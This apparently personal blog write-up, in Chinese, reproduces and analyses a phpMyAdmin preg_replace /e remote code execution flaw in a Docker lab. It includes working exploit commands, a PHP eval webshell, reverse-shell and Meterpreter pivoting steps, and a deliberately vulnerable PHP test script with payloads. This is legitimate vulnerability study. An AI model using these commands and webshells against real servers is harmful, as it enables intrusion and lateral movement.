漏洞复现

Docker拉取镜像,创建靶场环境,Kali上有利用脚本,直接搜索即可:
image2.png

使用方法在脚本中有写,以下命令即可利用漏洞远程执行命令:

1
python3 40185.py -u root -p root http://192.168.11.12:8080/ -c "system('whoami & uname -a');"

其中-c 表示执行的php代码,此处利用php的system函数执行系统命令
image3.png

可以创建php木马文件并写入内容,以phpinfo为例,此时-c参数需要利用**file_put_contents()**函数来写入文件: "file_put_contents('info.php','<?php phpinfo();?>');"

成功创建并访问并解析
image5.png

写入一句话木马($符号需要加反斜杠转义):

1
python3 40185.py -u root -p root http://192.168.11.12:8080/ -c "file_put_contents('shell.php','<?php @eval(\$_POST[cmd]);?>');"

蚁剑连接(需要选编码方式,default会返回空)
image6.png

msfvenom生成二进制木马,利用蚁剑上传到目标主机,虚拟终端操作木马文件,赋予其执行权限
image7.png

Kali上监听4444端口,使用蚁剑在目标主机上执行木马文件,即可建立连接
image8.png

继续进行简单的内网渗透

查看内网网段信息:run get_local_subnets
为目标主机添加路由:run autoroute -s 172.24.0.0/24
查看路由表:run autoroute -p
image9.png

background将会话后置,使用mysql扫描模块进行扫描,成功发现内网mysql服务主机

1
2
3
background
use auxiliary/scanner/mysql/mysql_login
set rhosts 172.24.0.1/24

image10.png

可设置用户名密码对其进行爆破,也可以利用其他模块对内网进行探测攻击。

原理分析

参考网上师傅们的文章,得知漏洞出自/libraries/TableSearch.class.php文件,发生在第1388行_getRegexReplaceRows()函数里的preg_replace()正则替换函数处,preg_replace()函数的三个参数中两个可控,一个简介可控,因此只要构造相应的数据即可触发RCE

/libraries/TableSearch.class.php文件的_getRegexReplaceRows()函数如下:
image11.png

需要构造payload就需要对find、replaceWith、row[0]三个参数进行溯源分析,搜索_getRegexReplaceRows()函数,在第1430行发现在getReplacePreview()函数内部进行了调用,依然只是单纯的传参,继续溯源getReplacePreview()函数
image12.png

在tbl_find_replace.php文件中发现调用了getReplacePreview()函数,且使用POST方式接受四个参数,包括前边preg_replace()函数的find和replace两个参数,即第1、2参数
image13.png

此时已知preg_replace的前两个参数可控,但是要执行命令的条件是需要在第三个参数中匹配到第一个参数的内容,所以还需要对第三个参数进行溯源

回到/libraries/TableSearch.class.php文件的_getRegexReplaceRows()函数处,preg_replace()函数第三个参数是row[0],表示该参数是数据库查找结果result的第一行,上边也写出了拼接的查询语句
image14.png

其中PMA_Util类在/libraries/Util.class.php类文件中进行了定义,其内部方法基本就是对原始数据做安全处理,如敏感字符的替换、编码、删除等操作,截取其中的一个sqlAddSlashes()函数作为示例:
image15.png

由于要构造payload的地方并不是SQL查询参数处,所以PMA_Util类的过滤操作可以略过,因此该SQL查询语句可以理解为:

1
SELECT $columnname ,1,cont(*) FROM database.table_name WHERE $columnname RLIKE ‘$find’ COLLATE $charset_bin GROUP BY $columnname ORDER BY $column ASC;

其中有两个查询参数:$this->_db、$this->_table是当前类的两个成员变量:
image16.png

对其溯源,最终在当前类的构造函数__construct()中发现了定义,是初始化时接收的参数,所以就需要继续对当前类的实例化进行溯源,找到传入的参数
image17.png

已知当前类是PMA_TableSearch
image18.png

对当前类的实例化进行溯源,最终在漏洞发生处,即tbl_find_replace.php文件中发现了引用,但是依然是直接传入参数:$db, $table,因此需要对这两个参数继续溯源
image19.png

发现上图中,tbl_find_replace.php文件除了包含libraries/TableSearch.class.php文件外,还包含了libraries/common.inc.php文件,因此直接在libraries/common.inc.php文件中搜索定义的全局变量,最终在第525和531行找到
image20.png

而且在下面的代码中发现,db和table是通过REQUEST方式从表单接收来的,其中db是数据库名,table是表名,然后对其进行查询操作。

至此,数据溯源完毕,整体链如下:

  • REQUEST接收数据库名db和表名table,对其进行查询操作;
  • 将查询结果第一行的值row[0]赋值给preg_replace()函数第三个参数;
  • 通过POST方式接收find和replaceWith参数,分别赋值给preg_replace()的第一、二个参数;
  • 由于第一二个参数可控,因此只要让数据库查询结果的第一行中是已知的(因为要匹配到才能触发/e执行php语句),或是可控的,即可构造payload进行代码执行,甚至RCE。

该文件本来想要实现的功能应该是replace即修改操作,但是忽略了preg_replace()函数的/e模式,且参数可控,未做安全校验。

POC/EXP分析

已知原理,现在分析一下kali中给出的POC,其实已经是EXP了,因为可以直接执行任意命令。

首先判断是否指定数据库,没有指定的话就默认选择test库,然后创建prgpwn表,再创建一个first字段,并写入内容
image21.png

写入的内容是经过UNHEX()16进制转字符串后的内容:
image22.png

可以在数据库中查看EXP执行结果,成功创建相关内容:
image23.png

完成后,再对find和replaceWith参数进行可控赋值,find传入0/e\0,\0用于截断源码中find后边的反斜杠,replaceWith就可以传入payload了,即要执行的php代码
image24.png

此时因为db和table指定的查询结果就是刚才写入的内容,再与传入的find成功匹配,加上/e模式,所以可以将replaceWith内容作为php代码执行,当传入执行的php代码为 system()函数时,即可进行RCE。

preg_replace()函数分析

preg_replace()函数用于正则替换,当模式为e时会将替换的字符串作为php代码执行,当我复现时发现,preg_replace()函数在php7中已经不再支持了,使用preg_replace_callback()函数作为替代方案
image25.png

而且在php5.5.38和php5.6中也给出了替代提示,但是还可以正常使用;在php5.4及之前的版本都是可以的,且没有任何提示。

为了方便测试,本地使用php5.3.29作为测试环境,编写以下测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

// $a = "/" . $_POST["a"] . "/";
$a = $_POST["a"];
$b = $_POST["b"];
$c = $_POST["c"];

echo "a : " . $a;
var_dump($a);
echo "<br/> b : " . $b;
var_dump($b);
echo "<br/> c : " . $c;
var_dump($c);

if (isset($a) && isset($b) && isset($c)){
preg_replace($a, $b, $c);
}else{
echo "<br/> ERROR: Please Input Message";
}

?>

简单实现了一个POST传入三个参数a、b、c,将其传入preg_replace()函数进行正则替代。

首先传入正常的数据:a=/[1-9]/&b=O&c=a1b2c3d4
作用是在将c中所有的1-9的数字替换为O
image26.png

使用/e命令执行模式,传入以下数据:a=/0/e&b=phpinfo()&c=/0/e
image27.png

也可以传入以下参数:**a=/(.)/e&b=phpinfo()&c=everything,其中/(.)/**表示匹配第一个字符,所以待匹配的字符串是任何数据都行。

也可以传入以下参数:**a=/(.*)/e&b=phpinfo()&c=everything,其中/(.*)/**表示匹配所有,所以待匹配的字符串是任何数据都行。

也可以传入以下参数:**a=/(.*)/e&b=\1&c=phpinfo(),其中/(.*)/表示匹配所有字符,而\1表示其本身,也就是要执行的php代码就是/(.*)/**匹配的结果,即待匹配字符串的全部:phpinfo()
image28.png

当传入system函数时,就可以RCE了。

最后,还有一个截断的问题,在EXP中用的是**\0截断,但是在我测试中发现,单纯的\0**并不能进行截断,很奇怪,反而是%00可以在php5的较低版本中进行截断,并触发命令执行。

参考漏洞中的情况,我们给第一个参数,即a两边加上 / ,如下:

1
2
3
$a = "/" . $_POST["a"] . "/";
$b = $_POST["b"];
$c = $_POST["c"];

使用的php版本是 php5.3.26,此时可以利用%00截断并触发代码执行:
2020-10-06_12-10-35.png

php < 5.3.4存在%00截断是已知的,但是**\0**无法截断未能理解,希望哪位师傅知道缘由的可以告知我,感谢。